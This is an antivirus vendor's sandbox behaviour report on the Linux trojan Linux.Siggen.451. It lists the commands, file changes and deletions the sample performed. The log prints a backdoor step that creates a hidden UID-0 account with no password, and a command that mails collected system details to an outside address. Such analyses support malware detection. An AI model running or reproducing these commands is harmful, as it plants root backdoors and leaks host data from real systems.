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Linux.Siggen.451
Добавлен в вирусную базу Dr.Web:
2018-02-21
Описание добавлено:
2018-02-21
Technical Information
Malicious functions:
Gains root privileges
Launches itself as a daemon
Substitutes application name for:
Launches processes:
/bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
<SAMPLE_FULL_PATH>
/bin/sh <SAMPLE_FULL_PATH> -c
clear
id -u
sleep 3
adduser -g 0 -u 0 -o bash
passwd -d bash
ifconfig
uname -a
uptime
sshd
cat /tmp/mama
mail -s Inca o roata root@addlebrain.com
/usr/sbin/sendmail send-mail -i -- root@addlebrain.com
/usr/sbin/exim4 -Mc 1eoYkF-0000BG-4s
rm -rf /tmp/mama
mkdir -p /tmp/. /. /. /. /. /. /. /. /.
sleep 1
/usr/sbin/exim4 #-E1eoYkF-0000BG-4s
/usr/sbin/exim4 -Mc 1eoYkG-0000BN-73
sleep 2
sleep 4
Performs operations with the file system:
Modifies file access rights:
/var/spool/exim4/input/1eoYkF-0000BG-4s-D
/var/spool/exim4/input/hdr.698
/var/spool/exim4/msglog/1eoYkF-0000BG-4s
/var/spool/exim4/input/1eoYkG-0000BN-73-D
/var/spool/exim4/input/hdr.705
/var/spool/exim4/input/hdr.700
/var/spool/exim4/msglog/1eoYkG-0000BN-73
/var/spool/exim4/input/1eoYkG-0000BN-73-J
/var/mail/user
Creates folders:
/tmp/.
/tmp/. /.
/tmp/. /. /.
/tmp/. /. /. /.
/tmp/. /. /. /. /.
/tmp/. /. /. /. /. /.
/tmp/. /. /. /. /. /. /.
/tmp/. /. /. /. /. /. /. /.
/tmp/. /. /. /. /. /. /. /. /.
Creates symlinks:
Creates or modifies files:
/tmp/mama
/tmp/mail.RsXXXXsG8HMd
/tmp/mail.RsXXXXsG8HMd (deleted)
/tmp/mail.RsXXXXA8h4No
/tmp/mail.RsXXXXA8h4No (deleted)
/var/spool/exim4/input//1eoYkF-0000BG-4s-D
/var/spool/exim4/input/1eoYkF-0000BG-4s-D
/var/spool/exim4/input//hdr.698
/var/spool/exim4/input/hdr.698
/var/spool/exim4/msglog//1eoYkF-0000BG-4s
/var/spool/exim4/msglog/1eoYkF-0000BG-4s
/var/log/exim4/mainlog
/var/spool/exim4/db/retry.lockfile
/var/spool/exim4/input//1eoYkG-0000BN-73-D
/var/spool/exim4/input/1eoYkG-0000BN-73-D
/var/spool/exim4/input//hdr.705
/var/spool/exim4/input/hdr.705
/var/spool/exim4/msglog//1eoYkG-0000BN-73
/var/spool/exim4/msglog/1eoYkG-0000BN-73
/var/spool/exim4/input//hdr.700
/var/spool/exim4/input/hdr.700
/var/spool/exim4/input//1eoYkG-0000BN-73-J
/var/mail/user.lock.box-i386.5a8db48c.000002c6
/var/mail/user
/var/spool/exim4/input/1eoYkG-0000BN-73-J
Deletes files:
/tmp/mail.RsXXXXsG8HMd"
/tmp/mail.RsXXXXA8h4No"
/tmp/mama"
/var/spool/exim4/msglog//1eoYkF-0000BG-4s"
/var/spool/exim4/input//1eoYkF-0000BG-4s-D"
/var/spool/exim4/input//1eoYkF-0000BG-4s-H"
/var/spool/exim4/input//1eoYkF-0000BG-4s-J"
/var/mail/user.lock.box-i386.5a8db48c.000002c6"
/var/mail/user.lock"
/var/spool/exim4/msglog//1eoYkG-0000BN-73"
/var/spool/exim4/input//1eoYkG-0000BN-73-D"
/var/spool/exim4/input//1eoYkG-0000BN-73-H"
/var/spool/exim4/input//1eoYkG-0000BN-73-J"
Network activity:
Establishes connection:
DNS ASK:
Рекомендации по лечению
Linux
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